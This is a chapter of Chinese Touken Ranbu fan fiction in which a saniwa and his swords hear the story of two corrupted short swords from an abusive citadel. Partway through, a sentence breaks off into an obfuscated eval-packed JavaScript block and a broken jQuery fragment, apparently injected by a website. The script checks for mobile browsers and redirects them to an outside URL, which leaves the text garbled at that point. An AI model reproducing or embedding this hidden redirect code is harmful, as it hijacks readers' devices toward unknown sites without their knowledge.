“你知道你错在哪里了吗?”


    “不知道。”


    谈话从第一步就开始陷入僵局。


    本丸,寝殿中,虽然织田信胜双手举着“我下次不敢了”的木牌,表情却相当没在忏悔。


    近侍兼本丸唯一来路明了的刀看起来很想给他几下。


    ‘长谷部原来是这个性格的吗。’


    五虎退的眼神求助般望向一旁的兄弟。


    ‘之前在信长大人那边共事时,他相当骄傲。还常常和宗三吵架来着。’


    药研藤四郎不是很清楚:‘至于之后……我就不清楚了。’


    那个本丸的审神者没有锻出压切长谷部。


    那个人没去参加过演练,更没有带这些刀剑出去过万屋。


    所以他们也不太清楚这位刀剑付丧神应该是什么性格。


    还是被灵力修复好毛发,又回归了圆滚滚大黄面包状态的狐之助跑出来打圆场:“压切……咳咳,长谷部君,别生气了!我看审神者殿下也是有在真心悔改的!”


    “他悔改在哪里了?”压切长谷部怒极反笑,“是悔改在看上去就‘我下次还这么干’,还是悔改在刚刚嘴比刀子还硬的行径。”


    哇,攻击性好强。看来之前还在信长那边,旁观压切和宗三吵架时,他其实算是收敛了。


    药研藤四郎心想。


    “呃…………”


    狐之助陷入了可疑的沉默,身后的尾巴像是在代替大脑思考般飞速运转。


    “你就当审神者殿下悔改了吧!”


    “他还小呢,都已经举了半小时木牌了!”


    “说得很好,那你去修刀装室吧。”


    狐之助败退了。


    织田信胜此时反应过来:“说起来,狐之助好像还没有和药研他们正式见过面。”且并不怎么高超地开始转移话题。


    他把牌子放在腿上,伸出手去抓想要溜走的狐之助:“这是我们本丸的狐之助,这是新来的药研和五虎退,来,你也和他们打个招呼。”


    狐之助看起来想一头栽进地里。


    ——逃避虽然可耻,但是有用。


    这是狐之助0294号近日的座右铭。


    它选择性地回避掉本丸里多了暗堕刀剑的事实,选择性地忘记手入室里压切长谷部看护着的对象,再选择性地把对面两位短刀无视掉……


    原本,原本是可以这样回避掉的。当个什么都看不清的突发健忘症的狐狸什么的。


    审神者的这番操作毫无疑问地把它拉回了现实。


    “你……你好,五虎退君。”


    狐之助被按着脑袋,朝看起来更安全的五虎退露出一个勉强的笑容。


    这把五虎退看起来,只是比它见过的同位体更瘦弱一点,更一惊一乍一点……好像也确实没有暗堕……还在狐之助的安全范围内。


    “怎么是只对一个人打招呼,你没看到药研吗?”


    织田信胜三言两语就给企图继续逃避的狐之助泼了一大盆凉水:“来!快和姐姐……信长大人的爱刀药研藤四郎打招呼!”


    ——因为我不想面对这种一旦接触、就会让狐身败名裂的暗堕刀啊!!!


    狐之助在心底呐喊,也仅仅只能在心底呐喊了。


    “你也好……呃……”狐之助笑得更勉强了,感觉下一秒它就要碎了,“药研君。”


    “你的长相看起来很特别呢。”


    管狐式神从时之政府锻炼出来的社交本能,在此刻该死地起了作用——如此不读空气的话,就像饭前要说的那句“我开动了”那般顺滑地说了出来。


    它的灵魂已经在COS世界名画《呐喊》了。


    黑发的短刀闻言,下意识摸了一下额上生出的那只鬼角。


    不用别人提醒,在暗堕后,身心的微妙变化无时无刻不在提示他有别于其他同位体。


    “这个啊……”


    付丧神没有狐之助想象中的激烈反应,更没有拔刀将它大卸八块,反而很平静地笑了一下:“只是多出了这只角而已。能换来兄弟的安宁,我对我做的事并不后悔。”


    考虑到刀剑付丧神暗堕需要袭击主人的前提,狐之助背后的毛都被冷汗打湿了:这发言是有点过于危险了吧。是的吧。


    却转头看见压切长谷部若有所思的神情,以及审神者那毫不意外的表情。


    为什么感觉他们好像都知道内情??它只是去打扫卫生了,不是昏睡了几天吧??


    织田信胜看了眼完全没在状态中的狐之助,决定还是对它好一点——不然它辞职了,换了一只没那么笨的狐狸来怎么办。


    “狐之助还不知道药研那个本丸发生了什么吧?”


    织田信胜问:“药研,你……”


    “你们愿意收留我们,我们已经十分感激了。只是要说清楚过去的事情而已,没什么大不了的。”


    虽然从外表上看是暗堕刀剑,但药研藤四郎自从清醒以来,就没有表露过攻击性,态度也非常平和。


    他看了一眼身旁的五虎退,见对方没有反对的意思,便开口说了起来。


    “事情是这样的……”


    ……


    …………


    狐之助把脸埋在五虎退的腿上哇哇大哭。


    “呜呜呜你们好惨啊……那个傻*审神者不是人啊!!怎么有这么坏的家伙!!!”


    “就应该打进地狱!!过刀山!!下油锅炸!!”


    寝殿里放着的一盒抽纸已经被它用完了。


    本来五虎退也想跟着哭的,但看到狐之助比他还共情,还投入。他就没好意思哭。只是在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965363|193291||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药研说到一半时,从一开始的靠近对方坐着,到忍不住大半个身子靠过去,抱住了兄弟。


    压切长谷部倒是有所预料。


    他在远征时,捡到那两把变回原形的短刀时,其实就想过这种事:普通的刀剑在陷入重伤时也能维持人形,但从刀身上来看,这两把刀剑并不是一般的陷入重伤,而是反复多次地陷入濒临死亡的境地,没有接受彻底的治疗又被送上战场。


    人渣审神者的事迹并不是传说。


    长谷部跟在前任的那位审神者身旁,也有听她在审神者会议后,一半担忧、一半难过地提起过。


    织田信胜过去摸了摸两把短刀的头。


    虽然从年龄上和精神上来看,两位都不算孩子的范畴,但织田信胜还是很自然地把短刀们当小孩来看待了。


    等到狐之助缓过来,一边抽抽噎噎,一边问道:“不过……你们本丸这种情况,没有时之政府的监管员来阻止吗?”


    “你是说狐之助吗?”药研藤四郎回忆着,“我从被锻出来的那一天就没见过它。”所以看到这座本丸里有狐狸还挺惊讶的。


    “不应该啊……每座本丸应该都配有监管员啊?”


    “…不会是用了什么不正当手段吧……”


    狐之助理了把哭湿了的毛:“你们这种情况导致暗堕的话,我记得时之政府也有相应的条例……总之,审神者全责,你们肯定是不会有问题的!”


    “还是要尽早跟时之政府通报……”


    要是早说啊,早说它这只狐就不用担惊受怕好几天了!


    但好像也不是他们的原因……


    “啊,这个事啊。”


    织田信胜:“我前几天就写好报告上交了哦?对于暗堕这件事,那边进度还是蛮快的。说是明天要派一位监察官来本丸观察情况,判定暗堕刀剑情况属实与否,确定属实的话,会封锁对面本丸。”


    “然后,明天要是一切顺利的话——就可以让药研和五虎退顺理成章地落户我们本丸了。”


    一旁的压切长谷部:……?


    昏迷好几天的药研藤四郎和五虎退:……??


    狐之助大叫:“你早就知道了?!?!?”


    “因为他们连接上我的灵力了啊。”织田信胜很理直气壮,“来的那天晚上我就什么都梦到了。”


    因为灵力连接所以共通了记忆吗……也是有这种情况的。


    于理上,狐之助接受了。


    于情上,狐之助再次崩溃了。


    “那前几天你恐吓我的那些话??”


    “那不是还没梦到吗。”


    “那你还让我打扫了好几天本丸的卫生??”


    “物尽所用啊。”


    “你……你……”


    “审神者你个大骗子!!!!!”